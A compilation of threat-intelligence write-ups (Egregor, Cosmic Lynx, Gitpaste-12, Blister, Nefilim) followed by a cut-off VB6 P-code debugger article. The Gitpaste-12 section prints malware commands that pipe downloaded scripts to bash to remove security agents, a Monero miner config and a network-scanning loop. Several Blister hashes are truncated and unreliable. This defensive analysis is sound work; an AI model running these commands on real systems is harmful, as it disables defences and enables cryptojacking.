Egregor threat actors as those used by the Maze operators. Historically, the operators of Maze ransomware employed a wide array of techniques to gain initial access, most recently using RDP and remote services as initial access vectors to victim systems, but also exploiting CVE-2018-15982 and CVE-2018-4878 in Flash Player, CVE-2019-11510 in Pulse VPN, and CVE-2018-8174 in Internet Explorer. According to a Bankinfosecurity article, QakBot operators have abandoned ProLock for Egregor ransomware. The TTPs used by the threat actors in Egregor attacks are almost identical to the ones used by the ProLock operators. Group-IB experts consider it very likely that QakBot operators have switched from ProLock to Egregor ransomware because the threat actors always employ Microsoft Excel documents impersonating DocuSign-encrypted spreadsheets to deliver Qakbot as an initial access vector. Also, Egregor operators have been using Rclone for data exfiltration, and the same tools and naming convention have been used as well — for example, md.exe, rdp.bat, and svchost.exe. ## Technical Analysis ### Stage One Packer Recorded Future’s Insikt Group identified several copies of packed Egregor ransomware and performed analysis on these samples. The ransomware has three main “stages”: the top-level packer that decrypts the next stage using the Salsa20 stream cipher with compiled-in keys, a subsequent stage that uses a cryptographic key passed in at runtime to decrypt the payload, and finally the Egregor payload. Without the correct key passed to the ransomware when it is run, the payload is unable to be decrypted and analyzed either statically or dynamically. We identified one sample and cryptographic key pair that enabled analysis of the Egregor payload. To detonate the malware, the command that is run is: ``` rundll32.exe <dllname>.dll,DllRegisterServer -p<cryptographic key> <payload arguments> ``` To decrypt the second stage of the packed payload, which is contained in the .data section, the malware first does an XOR of the data with either 3 or 4, then does a base64-decode of the data, and finally the Salsa20 decryption. ### Egregor Payload The Egregor payload, if successfully decrypted, will cause the victim system to be encrypted. The ransomware contains obfuscation, both for the code and for some of the data contained within it. It also encrypts the ransom note contents, services, and processes to stop, and almost all of the strings that would help an analyst determine what the code was doing. ### Mitigations While currently there is very little known in open sources regarding how Egregor is being deployed to victim systems, Recorded Future has identified the following recommendations: - It is most effective to detect a ransomware threat prior to the deployment of the ransomware. Organizations should monitor for use of lateral movement/reconnaissance tools on corporate systems in addition to the ransomware payload. - Because ransomware threat actors often use exploits as a means of initial access to victimized systems, it is critical that organizations ensure that any internet-facing systems are appropriately configured to provide the appropriate needed access. These systems should be patched to help mitigate the threat of vulnerabilities that are often exploited by these types of threat actors. - Organizations should also be aware of the risk of phishing attacks, the use of fake download websites, the targeting of unpatched publicly accessible systems, and the exploitation of misconfigurations in publicly accessible systems. ### Appendix A: Technical Details **Processes to Kill** - msftesql.exe - sqlagent.exe - sqlbrowser.exe - sqlwriter.exe - oracle.exe - ocssd.exe - dbsnmp.exe - synctime.exe - agntsvc.exe - isqlplussvc.exe - xfssvccon.exe - sqlservr.exe - mydesktopservice.exe - ocautoupds.exe - encsvc.exe - firefoxconfig.exe - tbirdconfig.exe - mydesktopqos.exe - ocomm.exe - mysqld.exe - mysqld-nt.exe - mysqld-opt.exe - dbeng50.exe - sqbcoreservice.exe - excel.exe - infopath.exe - msaccess.exe - mspub.exe - onenote.exe - outlook.exe - powerpnt.exe - sqlservr.exe - thebat.exe - steam.exe - thebat64.exe - thunderbird.exe - visio.exe - winword.exe - wordpad.exe - QBW32.exe - QBW64.exe - ipython.exe - wpython.exe - python.exe - dumpcap.exe - procmon.exe - procmon64.exe - procexp.exe - procexp64.exe
# Cosmic Lynx Returns in 2021 with Updated Tricks In July 2020, we published a report on a Russian-based BEC group we called Cosmic Lynx. In that report, we described the tactics used by the group, which included its targeting of senior executives at large companies with a global footprint and how it uses mergers and acquisitions (M&A) themes in its BEC email lures. Shortly after we published the report, we saw a significant decrease in Cosmic Lynx activity for more than three months. While we can’t conclusively say that our report caused Cosmic Lynx to go on a hiatus, the timing was very notable. In mid-October 2020, though, we started to detect a resurgence in Cosmic Lynx activity, using the same tactics that we had previously observed prior to their disappearance. In late-December 2020, however, we observed a shift in Cosmic Lynx’s tactics. First, the group started including references to a COVID-19 vaccine in their initial emails. Cosmic Lynx had previously used COVID themes in their communications earlier in 2020 as a way to build rapport with their targets, but the inclusion of vaccine references indicates the group is continuing to update their lures to reflect items of global interest. Examples of COVID vaccine references in recent Cosmic Lynx BEC campaigns have included lines like “The recent developments in vaccines offer glimmers of hope for the global economy,” or “The world economy is approaching a turning point amid hopes for a rapid recovery fueled by an early vaccine.” In addition to referencing COVID vaccines, Cosmic Lynx has also continued using other pandemic themes as a way to frame the rationale for the supposed acquisition. In some of their recent campaigns, the group writes that the pandemic “has created dislocations in several markets and we intend to seize the opportunity now” and “We must now position ourselves for the coming economic upturn even as we maintain vigilance in this uncertain period.” Second, Cosmic Lynx changed the construction of the email addresses they use to send BEC emails. Since mid-2019, the email addresses used by Cosmic Lynx were constructed to mimic secure email and network infrastructure and referenced celestial bodies, like planets and stars. In December 2020, the group started using email addresses that seem to be created to look like more generic email infrastructure, sometimes resembling Amazon Simple Email Service (SES) naming conventions, such as eu-west-smtp-outbound[at]veritas-secure-gateway[.]cc or us-east-tls-smtp-gateway[at]trustnet-server[.]cc. Finally, instead of continuing communication over email, Cosmic Lynx immediately attempts to redirect a target to phone communication. At the end of their recent BEC emails, Cosmic Lynx now includes a request like, “Can you please let me know when you are available and the best number to reach you at?” While we do not yet have concrete details about how these calls would proceed, it is likely that Cosmic Lynx will use technology to mask the voice of the actor. Since the end of December 2020, Cosmic Lynx’s BEC activity has returned to the consistently high volume we saw in early-2020. Since the beginning of 2021, we have observed 43 distinct Cosmic Lynx BEC campaigns targeting executive employees in 19 countries. Since July 2019, we have identified Cosmic Lynx attacks against targets in a total of 53 different countries around the world. As we noted in our initial Cosmic Lynx report, the entrance of a sophisticated Russian cybercriminal group into the BEC scene shows that actors are realizing that the return on investment for BEC attacks is better than other types of technically sophisticated cyber attacks. Cosmic Lynx has demonstrated the capability to develop much more complex and creative attacks that sets them apart from other BEC groups. To protect against threats like Cosmic Lynx, organizations need to make sure they have defenses in place that are equipped to defend against identity deception attacks that traditional inbound email filters are not equipped to handle. ## Recent Domains Associated with Cosmic Lynx BEC Attacks - email-secure-server[.]cc - email-security-gateway[.]cc - gateway-resolver[.]cc - intranet-gateway[.]cc - intranet-host[.]cc - intranet-server[.]cc - intranetgateway[.]net - intranetserver[.]net - secure-gateway-resolver[.]cc - secure-server-gateway[.]cc - trustnet-secure-server[.]cc - veritas-secure-gateway[.]cc - veritas-secure-host[.]cc ## Recent IP Addresses Linked to Cosmic Lynx Mail Servers - 107[.]175[.]38[.]100 - 107[.]175[.]38[.]108 - 194[.]5[.]249[.]162 - 212[.]38[.]166[.]131 - 212[.]38[.]166[.]35 - 212[.]38[.]166[.]65 - 212[.]38[.]166[.]68 - 23[.]95[.]97[.]33 - 23[.]95[.]97[.]42 - 23[.]95[.]97[.]7 - 23[.]95[.]97[.]8 - 45[.]79[.]249[.]6 - 46[.]249[.]59[.]110 - 46[.]249[.]59[.]111 - 46[.]249[.]59[.]67 - 5[.]133[.]179[.]133 - 5[.]133[.]179[.]65 - 62[.]182[.]84[.]201 - 62[.]182[.]84[.]202 - 93[.]158[.]208[.]104 - 93[.]158[.]208[.]108 - 93[.]158[.]208[.]110 - 94[.]242[.]206[.]17 - 94[.]242[.]206[.]18 - 94[.]242[.]206[.]210 - 94[.]242[.]224[.]203
# Gitpaste-12: A New Worming Botnet with Reverse Shell Capability Spreading via GitHub and Pastebin Gitpaste-12 is a new worm recently discovered by Juniper Threat Labs, which uses GitHub and Pastebin for housing component code and has at least 12 different attack modules available. There is evidence of test code for possible future modules, indicating ongoing development for this malware. For now, however, targets are Linux-based x86 servers, as well as Linux ARM and MIPS-based IoT devices. This malware has been dubbed Gitpaste-12 because of the usage of GitHub, Pastebin, and 12 ways to compromise the system. The first Gitpaste-12 attacks were detected by Juniper Threat Labs on October 15, 2020. We’ve reported both the Pastebin URL and the git repo in question, and the git repo was closed on October 30, 2020. This should stop the proliferation of this botnet. The first phase of the attack is the initial system compromise. This worm has 12 known attack modules and more under development. The worm will attempt to use known exploits to compromise systems and may also attempt to brute force passwords. Immediately after compromising a system, the malware sets up a cron job it downloads from Pastebin, which in turn calls the same script and executes it again each minute. This is presumably one mechanism by which updates to the cron jobs can be pushed to the botnet. The main shell script uploaded during the attack to the victim machine starts to download and execute other components of Gitpaste-12. First, it downloads and sets up a cron job, which periodically downloads and executes a script from Pastebin. Next, it downloads from GitHub and executes it. The malware begins by preparing the environment. This means stripping the system of its defenses, including firewall rules, SELinux, AppArmor, as well as common attack prevention and monitoring software. The shadu1 script contains comments in the Chinese language and has multiple commands available to attackers to disable different security capabilities. The following example has some commands that disable cloud security agents, which clearly indicates the threat actor intends to target public cloud computing infrastructure provided by Alibaba Cloud and Tencent. Examples of these commands include: ``` curl http://update.aegis.aliyun.com/download/uninstall.sh | bash curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh ``` Another capability is demonstrated in the ability to run a miner for Monero cryptocurrency with the following config: ``` { “background”: true, “log-file”: null, “access-log-file”: null, “retries”: 50, “retry-pause”: 5, “donate-level”: 2, “coin”: “xmr”, “custom-diff”: 0, “syslog”: false, “verbose”: false, “colors”: true, “workers”: true, “pools”: [ { “url”: “donate.v2.xmrig.com:5555”, “user”: “41qALJpqLhUNCHZTMSMQyf4LQotae9MZnb4u53JzqvHEWyc2i8PEFUCZ4TGL9AGU34ihPU8QGbRzc4FB2nHMsVeMHaYkxus”, “pass”: “x” } ], “bind”: [ “0.0.0.0:12388” ], “api”: { “port”: 0, “access-token”: null, “worker-id”: null }} ``` The Gitpaste-12 malware contains the library hide.so and is loaded as LD_PRELOAD. Hide.so updates the crontab file to download and execute a script from Pastebin. It also prevents administrators from collecting information about running processes by intercepting “readdir” system calls and skipping directories for processes like tcpdump, sudo, openssl, etc. in “/proc”. The “/proc” directory in Linux contains information about running processes. It is used, for example, by the “ps” command to show information about running processes. But unfortunately for this threat actor, this implementation does not do what they expect it to do. ## Worming Capability The Gitpaste-12 malware also contains a script that launches attacks against other machines, in an attempt to replicate and spread. It chooses a random /8 CIDR for attack and will try all addresses within that range, as demonstrated by this call: ``` while true; do awk -va=\$((\$RANDOM%128)) ‘BEGIN{for(b=0;256>b;b++) for(c=0;256>c;c++) for(d=0;256>d;d++) system(\”./sh\”a\”.\”d\”.\”c\”.\”b\” ``` Another version of the script also opens ports 30004 and 30005 for reverse shell commands. ## Gitpaste-12 Exploits Gitpaste-12 uses 11 vulnerabilities and a telnet brute forcer to spread. Known vulnerabilities include: - CVE-2017-14135: Webadmin plugin for opendreambox - CVE-2020-24217: HiSilicon based IPTV/H.264/H.265 video encoders - CVE-2017-5638: Apache Struts - CVE-2020-10987: Tenda router - CVE-2014-8361: Miniigd SOAP service in Realtek SDK - CVE-2020-15893: UPnP in D-Link routers - CVE-2013-5948: Asus routers - EDB-ID: 48225: Netlink GPON Router - EDB-ID: 40500: AVTECH IP Camera - CVE-2019-10758: MongoDB - CVE-2017-17215: Huawei router ## Conclusion No malware is good to have, but worms are particularly annoying. Their ability to spread in an automated fashion can lead to lateral spread within an organization or to your hosts attempting to infect other networks across the internet, resulting in poor reputation for your organization. Juniper Connected Security customers using SRX IDP and Juniper ATP Cloud are protected against Gitpaste-12. ## IOCs Some compromised systems have TCP ports 30004 and 30005 open for shell commands. - Miner: e67f78c479857ed8c562e576dcc9a8471c5f1ab4c00bb557b1b9c2d9284b8af9 - hide.so: ed4868ba445469abfa3cfc6c70e8fdd36a4345c21a3f451c7b65d6041fb8492b - Miner config: bd5e9fd8215f80ca49c142383ba7dbf7e24aaf895ae25af96bdab89c0bdcc3f1 - Shell script: 5d1705f02cde12c27b85a0104cd76a39994733a75fa6e1e5b014565ad63e7bc3
# Technical Analysis of Code-Signed “Blister” Malware Campaign (Part 1) Anandeshwar Unnikrishnan January 7, 2022 A new malware, dubbed “Blister,” by the Elastic Security team that identified it, is leveraging valid code-signing certificates in Windows systems to avoid detection by antivirus software. The malware is named after one of its payloads, Blister, which further deploys second-stage payloads. The threat actors orchestrating the Blister campaigns have been active since 15 September 2021 and have been using code-signing certificates that were validated on 23 August 2021. These certificates were issued by Sectigo to Blist LLC’s mail.ru email address. It is notable that mail.ru is a widely used Russian email service provider. The malware masquerades malicious components as genuine executable files, due to which it has a low detection rate. Apart from using code-signing certificates, the threat actors are also leveraging other techniques, such as binding Blister to a legitimate library on the infected system, to stay under the radar. ## Modus Operandi of the Blister Campaign Threat actors are known to use code-signing to circumvent basic static security checks to compromise the victim systems. The Blister malware is no different in that it uses a Sectigo issued certificate to make the loader malware program look genuine to security products. It then deploys a Remote Access Trojan (RAT) on the target system to gain unauthorized access. A .dll file is used as a second stage payload to execute the encoded RAT/CobaltStrike beacon. Since the .dll file has no malicious traces, there have been very few detections on VirusTotal. However, the loader uses Rundll32.exe to execute the LaunchColorCpl function exported by the malicious .dll file. ## Overview of the Blister Malware Campaign ### Leveraging Code-Signing Certificates to Avoid Detection The below image contains the details of the certificate to an entity called “Blist LLC.” It is common for cybercriminals to either steal code-signing certificates from compromised targets or to use a front company to obtain the certificate to sign the malware with. Sectigo has since revoked the certificate issued to the binary. ### First Stage of Infection #### Overview of the Loader The loader writes a malicious .dll file in a directory created inside the user Temp folder. In one of the analysed samples, the malware created a folder named “goalgames” and inside it the loader dumped holorui.dll. The .dll houses the code for deploying the RAT to gain unauthorized access to the infected system. #### Step by Step Working of the Loader The Win32 API `createDirectoryW` is used to create a folder called “goalgames” in the path: `C:\Users\<user>\AppData\Local\Temp` directory. Before dumping the .dll, the loader sets the working directory to `C:\Users\<user>\AppData\Local\Temp\goalgames` via Win32 API `SetCurrentDirectoryW`. After setting the working directory, the malware resolves the filename for the .dll file to holorui.dll and stores it in the register RCX, to later pass it to Win32 API `CreateFileW`. The file `C:\Users\<user>\AppData\Local\Temp\goalgames\holorui.dll` is created using the `CreateFileW` API. Once the file is created, the malware starts writing the content to the file by iteratively transferring bytes from the .dll payload in the loader. The Win32 API `WriteFile` is used to write contents into holorui.dll. The malicious .dll is embedded in the initialized data segment of the PE executable of the loader, and the bytes are transferred into `C:\Users\<user>\AppData\Local\Temp\goalgames\holorui.dll`. Upon closing the handle to the holorui.dll file, written on to the disk in the Temp directory, the malware finishes delivering the second stage payload. Then the file handles are closed by the malware. The successful delivery of the malicious .dll can be confirmed by analyzing the interaction of the malware on the system. Based on analysing multiple signed loader samples, we have enumerated the following distinct directory and payload names used within different samples from the same campaign: - `C:\Users\<user>\AppData\Local\Temp\goalgames\holorui.dll` - `C:\Users\<user>\AppData\Local\Temp\Framwork\axsssig.dll` - `C:\Users\<user>\AppData\Local\Temp\oarimgamings\holorui.dll` - `C:\Users\<user>\AppData\Local\Temp\guirtsframworks\Pasade.dll` *Note: The content inside the .dll is the same despite having different names.* ### Second Stage of Infection At the second stage of infection, the loader generates a command line to execute the function LaunchColorCpl exported from the .dll, via Rundll32.exe on the infected system. A new process is created with the above command line to spawn a Rundll32 process via `CreateProcessW` Win32 API. The newly spawned Rundll32.exe process is listed in the process listing on the infected machine. The final payload is executed by the Rundll32.exe process. In part 2 of this article, we will cover the internal working of the .dll payload in detail. ## Indicators of Compromise (IoCs) ### File Hash - MD5 - e6404260b4e42b7aa75bb0a96627ed3a - 304921a919ab5228687a4932bb66fab9 - db8827d0d7b2addc05719e407216da14 - 1b33c1f232b2ed68ac108519caa2d35f - 755f50457416aeb7fee95a67abfea9fe - 1896e6b20128e85a9851b94753eabbdf - 6f76505a91c91c29238f0ed70b369417 - a91ba8f4a339a98fa94e810831e83d96 - 5a7dea7aa86ccd600f5a97e3b53f7338 - b8c9c560c6970a877a7ad359f37811d7 - 3efcd76417a185e48da71e22d230c547 ### File Hash - SHA1 - f8fa1ba14df6f8ab2b307ee0ce04054ea9d538c0 - 77b11cc7fc02f2ece71c380afbed82a39df9b8fa - f534e15bbc104cafab80f954ba30f12de87b0f48 - 72134bbf433c51d475412d16ff7abb4ce2b08110 - d58e06727c551756cbee1fc6539929553a09878b - 4800d1f8e6ebc489c6c8a1d3a1f99b8339cf0980 - c039362e891b01040c20e75e16b02169c512aebd - 21799d1d30344428697f3a186733b283a993ac16 - bb69d5da32164813be5af29d31edc951a8f1f088 - 871e52778597185f98eb0a57127024bcd094cf07 - a492b5e329b55d4a0f66217e5352ab56fabacad1 ### File Hash - SHA256 - fe7357d48906b68f094a81d19cc0ff93f56cc40454ac5f00e2e2d9c8ccdbc388 - fa885e9ea1293552cb45a89e740426fa9c313225ff77ad1980dfe - f5104d0ead2f178711b1e23db3c16846de7d1a3ac04dbe09bacebb847775d76d - ed6910fd51d6373065a2f1d3580ad645f443bf0badc398aa7718 - ed241c92f9bc969a160da2c4c0b006581fa54f9615646dd46467d24fe5526c7a - df8142e5cf897af65972041024ebe74c7915df0e18c6364c5fb9b - d54dfedda0efa36ed445d501845b61ab73c2102786be710ac19f697fc8d4ca5c - d0f934fd5d63a1524616bc13b51ce274539a8ead9b072e7f7fe1 - cc31c124fc39025f5c3a410ed4108a56bb7c6e90b5819167a06800d02ef1f028 - cb949ebe87c55c0ba6cf0525161e2e6670c1ae186ab83ce4604 - ca09d9cd2f3cfcc06b33eff91d55602cb33a66ab3fd4f540b9212fce5ddae54a - c61d2ba1e001c137533cd7fb6b38fe71fee489d61dbcfea45c37c - c0f3b27ae4f7db457a86a38244225cca35aa0960eb6a685ed350e99a36c32b61 - bee3210360c5d0939c5d38b7b9f0c232cf9fbf93b46a19e53930a - ba3a50930e7a144637faf88a98f2990a27532bfd20a93dc160eb2db4fbc17b58 - afb77617a4ca637614c429440c78da438e190dd1ca24dc78483 - af555d61becfcf0c13d4bc8ea7ab97dcdc6591f8c6bb892290898d28ebce1c5d - a486e836026e184f7d3f30eaa4308e2f0c381c070af1f525118a4 - a34821b50aadee0dd85c382c43f44dae1e5fef0febf2f7aed6abf3f3e21f7994 - 9bccc1862e3e5a6c89524f2d76144d121d0ee95b1b8ba5d0ffca - 96bf7bd5f405d3b4c9a71bcd1060395f28f2466fdb91cafc6e261a31d41eb37a - 9472d4cb393256a62a466f6601014e5cb04a71f115499c320dc6 - 923b2f90749da76b997e1c7870ae3402aba875fdbdd64f79cbeba2f928884129 - 8e22cf159345852be585bc5a8e9af476b00bc91cdda98fd6a324 - 8ae2c205220c95f0f7e1f67030a9027822cc18e941b669e2a52a5dbb5af74bc9 - 8a414a40419e32282d33af3273ff73a596a7ac8738e9cdca6e7d - 863228efa55b54a8d03a87bb602a2e418856e0028ae409357454a6303b128224 - 84a67f191a93ee827c4829498d2cb1d27bdd9e47e136dc6652a - 81edf3a3b295b0189e54f79387e7df61250cc8eab4f1e8f42eb5042102df8f1f - 7cd03b30cfeea07b5ea4c8976e6456cb65e09f6b8e7dcc688843 - 7b9091c41525f1721b12dcef601117737ea990cee17a8eecf81dcfb25ccb5a8f - 6c6f808f9b19e1fab1c1b83dc99386f0ceee8593ddfd461ac047e - 696f6274af4b9e8db4727269d43c83c350694bd1ef4bd5ccdc0806b1f014568a - 56ca9ea3f7870561ed3c6387daf495404ed3827f212472501d25 - 5651e8a8e6f9c63c4c1162efadfcb4cdd9ad634c5e00a5ab03259fcdeaa225ac - 516cac58a6bfec5b9c214b6bba0b724961148199d32fb42c01b1 - 4fe551bcea5e07879ec84a7f1cea1036cfd0a3b03151403542cab6bd8541f8e5 - 44e5770751679f178f90ef7bd57e8e4ccfb6051767d8e906708c5 - 3c7480998ade344b74e956f7d3a3f1a989aaf43446163a62f0a8ed34b0c010d0 - 359ffa33784cb357ddabc42be1dcb9854ddb113fd8d6caf3bf039 - 2d049f7658a8dccd930f7010b32ed1bc9a5cc0f8109b511ca2a77a2104301369 - 294c710f4074b37ade714c83b6b7bf722a46aef61c02ba6543de - 25a0d6a839c4dc708dcdd1ef9395570cc86d54d4725b7daf56964017f66be3c1 - 216cb4f2caeaf59f297f72f7f271b084637e5087d59411ac77ddd3 - 1a10a07413115c254cb7a5c4f63ff525e64adfe8bb60acef946bb7656b7a2b3d - 17ea84d547e97a030d2b02ac2eaa9763ffb4f96f6c54659533a2 - 00eb2f75822abeb2e222d007bdec464bfbc3934b8be12983cc898b37c6ace081 - 0a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681 ### Domains - discountshadesdirect.com - clippershipintl.com - bimelectrical.com ### IPv4 - 93.115.18.248 - 188.68.221.203 - 185.170.213.186 ### Signed Loaders - ed6910fd51d6373065a2f1d3580ad645f443bf0badc398aa77185324b0284db8 - cb949ebe87c55c0ba6cf0525161e2e6670c1ae186ab83ce46047446e9753a926 - 7b9091c41525f1721b12dcef601117737ea990cee17a8eecf81dcfb25ccb5a8f - 84a67f191a93ee827c4829498d2cb1d27bdd9e47e136dc6652a5414dab440b74 - cc31c124fc39025f5c3a410ed4108a56bb7c6e90b5819167a06800d02ef1f028 - 9472d4cb393256a62a466f6601014e5cb04a71f115499c320dc615245c7594d4 - 4fe551bcea5e07879ec84a7f1cea1036cfd0a3b03151403542cab6bd8541f8e5 - 1a10a07413115c254cb7a5c4f63ff525e64adfe8bb60acef946bb7656b7a2b3d - 9bccc1862e3e5a6c89524f2d76144d121d0ee95b1b8ba5d0ffcaa23025318a60 - 8a414a40419e32282d33af3273ff73a596a7ac8738e9cdca6e7db0e41c1a7658 - 923b2f90749da76b997e1c7870ae3402aba875fdbdd64f79cbeba2f928884129 - ed241c92f9bc969a160da2c4c0b006581fa54f9615646dd46467d24fe5526c7a - 294c710f4074b37ade714c83b6b7bf722a46aef61c02ba6543de5d59edc97b60 --- Anandeshwar Unnikrishnan Threat Intelligence Researcher, CloudSEK Anandeshwar is a Threat Intelligence Researcher at CloudSEK. He is a strong advocate of offensive cybersecurity. He is fuelled by his passion for cyber threats in a global context. He dedicates much of his time on Try Hack Me/Hack The Box/Offensive Security Playground. He believes that “a strong mind starts with a strong body.” When he is not gymming, he finds time to nurture his passion for teaching. He also likes to travel and experience new cultures. Deepanjli Paulraj Lead Cyberintelligence Editor, CloudSEK Deepanjli is CloudSEK’s Lead Technical Content Writer and Editor. She is a pen-wielding pedant with an insatiable appetite for books, Sudoku, and epistemology. She works on any and all content at CloudSEK, which includes blogs, reports, product documentation, and everything in between.
# Nefilim Ransomware Threatens to Expose Stolen Data A new ransomware named Nefilim has been discovered, threatening to release its victims’ data to the public if they fail to pay the ransom. It is most likely distributed through exposed Remote Desktop Protocol (RDP), as shared by SentinelLabs’ Vitali Krimez and ID Ransomware's Michael Gillespie via Bleeping Computer. Nefilim’s code shares many notable similarities with Nemty 2.5 ransomware; the main difference is that Nefilim has done away with the Ransomware-as-a-Service (RaaS) component. It also manages payments via email communication rather than through a Tor payment site. There is nothing that indicates that the same threat actors are behind Nemty and Nefilim. The new ransomware is most likely spread through RDP, like other ransomware such as Nemty, Crysis, and SAMSAM. Nefilim uses AES-128 encryption to encrypt victims’ files. An RSA-2048 embedded in the ransomware executable will then encrypt the AES encryption key. The encrypted AES key will then be added to every encrypted file. The ransomware also adds a “NEFILIM” string as a file marker to all encrypted files. The encrypted files will have .NEFILIM appended to their file names (for example, a file called 1.doc would be named 1.doc.NEFILIM). To decrypt these files, victims need to get the RSA private key from the ransomware developers. Details of the ransom have not been released yet. ## Race Against Ransomware Ransomware continues to expand its reach as threat actors come up with new ransomware variants and families. The healthcare, government, and education sectors were on the receiving end of many such attacks last year, as revealed in the Trend Micro 2019 Annual Security Roundup. Unfortunately, many feel pressured to pay the ransom to prevent the paralysis of operations and the loss of valuable data. Like Nefilim, many of these ransomware attacks abuse exposed RDP ports. Enterprises can take the following steps to defend against RDP abuse: - Close unused RDP ports. If closing them is not possible, limit the source addresses that can access the ports. - Configure settings to ensure that only authorized users can gain RDP network admin access. - Monitor the network to spot signs of attacks. - Limit the number of failed login attempts to keep unauthorized logins at bay. Companies should also establish firm protocols and rules in dealing with unverified emails; employees should avoid opening these emails or attachments. To prevent data loss, employees should also regularly back up files. Finally, regularly updating software and applications can ensure that the system is protected against both old and recent vulnerabilities. Enterprises can also further improve security against ransomware through the combination of behavioral analysis and high-fidelity machine learning across email, endpoints, servers, and networks. Enterprises that are dealing with a ransomware attack can try the Trend Micro Ransomware File Decryptor (available in Windows and macOS) for free. ## Indicators of Compromise SHA-256: 5ab834f599c6ad35fcd0a168d93c52c399c6de7d1c20f33e25cb1fdb25aec9c6 Detection: Ransom.Win32.NEFILIM.B Detection: Troj.Win32.TRX.XXPE50FFF034
# Writing a VB6 P-Code Debugger **Background** In this article, we are going to discuss how to write a debugger for VB6 P-code. This has been something I have always wanted to do ever since I first saw the WKTVBDE P-Code Debugger written by Mr. Silver and Mr. Snow back in the early 2000s. There was something kind of magical about that debugger when I first saw it. It was early in my career, I loved programming in VB6, and reversing it was a mysterious dark art. While on sabbatical, I finally found the time to sit down and study the topic in depth. I am now sharing what I discovered along the way. This article will build heavily on the previous paper titled VB P-Code Disassembly. In this paper, we detailed how the runtime processes P-Code and transfers execution between the different handlers. It is this execution flow that we will target to gain control with our debugger. An example of the debugger architecture detailed in this paper can be found in the free vbdec pcode disassembler and debugger. **Probing** When I started researching this topic, I wanted to first examine what a process running within the WKTVBDE P-Code debugger looked like. A test P-Code executable was placed alongside a copy of the VB runtime with debug symbols. The executable was launched under WKTVBDE, and then a native debugger was attached. Examining the P-Code function pointer tables at 0x66106D14 revealed all the pointers had been patched to a single function inside the WKTVBDE.dll. This gives us our first hint at how they implemented their debugger. It is also worth noting that the WKTVBDE debugger runs entirely within the process being debugged, GUI and all! To start the debugger, you run loader.exe and specify your target executable. It will then start the process and inject the WKTVBDE.dll within it. Once loaded, WKTVBDE.dll will hook the entire base P-Code handler table with its own function, giving it first access to whatever P-Code is about to execute. The debugger also contains: - a P-Code disassembler - ability to parse all of the nested VB internal structures - ability to list all code objects and control events (like on timer or button click) This is in addition to the normal debugger UI actions such as data dumping, breakpoint management, stack display, etc. This is a lot of complex code to run as an injection DLL. Debugging all of this would have been quite a lot of work for sure. With a basic idea of how the debugger operated, I began searching the web to find any other information I could. I was happy to find an old article by Mr. Silver on Woodmann that I have mirrored for posterity. In this article, Mr. Silver lays out the history of their efforts in writing a P-Code debugger and gives a template of the hook function they used. This was a very interesting read and gave me a good place to start. **Design Considerations** Looking forward, there were some design considerations I wanted to change in this architecture. The first change would be that I would want to move all of the structure parsing, disassembler engine, and user interface code into its own standalone process. These are complicated tasks and would be very hard to debug as a DLL injection. To accomplish this task, we need an easy-to-use, stable inter-process communication (IPC) technique that is inherently synchronous. My favorite technique in this category is using Windows Messages, which automatically cause the external process to wait until the window procedure has completed before it returns. I have used this technique extensively to stall malware after it unpacks itself. I have even wired it up to a Javascript engine that interfaces with a remote instance of IDA. This design will give us the opportunity to freely write and debug the file format parsing, disassembly engine, and user interface code completely independent of the debugger core. At this point, debugger integration essentially becomes an add-on capability of the disassembler. The injection DLL now only has to intercept execution and communicate with the main interface. For the remainder of this paper, we will assume that a fully operational disassembler has already been created and only focus on the debugger-specific details. For discussions on how to implement a disassembler and a reference implementation on structure parsing, please refer to the previous paper. **Implementation** With sufficient information now in hand, it was time to start experimenting with gaining control over the execution flow. Our first task is figuring out how to hook the P-Code function pointer table. Before we can hook it, we actually need to be able to find it first! This can be accomplished in several ways. From the WKTVBDE authors' paper, it sounds like they progressed in three main stages. First, they started with a manually patched copy of the VB runtime and the modified DLL referenced in the import table. Second, they then progressed to a single supported copy of the runtime with hard-coded offsets to patch. A loader now injects the debugger DLL into the target process. Finally, they added the ability to dynamically locate and patch the table regardless of runtime version. This is a good experimental progression which they detail in depth. The second stage is readily accessible to anyone who can understand this paper and will work sufficiently well. I will leave the details of injection and hooking as an exercise to the reader. The basic steps are: - set the memory writable - copy the original function pointer table - replace original handlers with your own hook procedures The published sample also made use of self-modifying code, which we will seek to avoid. To get around this, we will introduce individual hook stubs, one per table, to record some additional data. Before we get into the individual hook stubs, we notice they stored some runtime/state information in a global structure. We will expand on this with the following: From the hooking code, you will notice that all of the base opcodes in the first table (excluding lead byte handlers) all received the same hook. The Lead_X bytes at the end each received their own procedure. Below shows samples of the hook handlers for the first two tables. The other four follow the same pattern: The hooks for each individual table configure the global VM structure fields for current lead byte and table base. The real meat of the implementation now starts in the universal hook procedure. In the main PCodeHookProc, you will notice that we call out to another function defined as `void NotifyUI()`. It is in this function where we do things like check for breakpoints, handle single stepping, etc. This function then uses the synchronous IPC to talk to the out-of-process debugger user interface. The debugger UI will receive the step notification and then go into a wait loop until the user gives a step/go/stop command. This has the effect of freezing the debugee until the SendMessage handler returns. You can find a sample implementation of this in the SysAnalyzer ApiLogger source. The reason we call out to another function from PCodeHookProc is because it is written as a naked function in assembler. Once free from this, we can now easily implement more complex logic in C. **Further Steps** Once all of the hooks are implemented, you still need a way to exercise control over the debuggee. When the code is being remotely frozen, the remote GUI is actually still free to send the frozen process new commands over a separate IPC back channel. In this manner, you can manage breakpoints, change step modes, and implement lookup services through runtime exports such as rtcTypeName. The hook DLL can also patch in custom opcodes. The code below adds our own one-byte NOP instruction at unused slot 0x01. As hinted at in the comments, features such as live patching of the current opcode and “Set New Origin Here” type features are both possible. These are implemented by the debugger doing direct WriteProcessMemory calls to the global VM struct. The address of this structure was disclosed in initialization messages at startup. **Conclusion** Writing a P-Code debugger is a very interesting concept. It is something that I personally wanted to do for the better part of 20 years. Once you see all the moving parts up close, it is not quite as daunting as it may seem at first glance. Having a working P-Code debugger is also a foundational step to learning how the P-Code instruction set really works. Being able to watch VB6 P-code run live with integrated stack diffing and data viewer tools is very instructive. Single stepping at this level of granularity gives you a much clearer, higher-level overview of what is going on. While the hook code itself is technically challenging, there are substantial tasks required up front just to get you into the game. Prerequisites for this include: - accurate parsing of an undocumented file format - a solid disassembly engine for an undocumented P-Code instruction set - user interface that allows for easy data display and debugger control For a reverse engineer, a project such as this is like candy. There are so many aspects to analyze and work on. So many 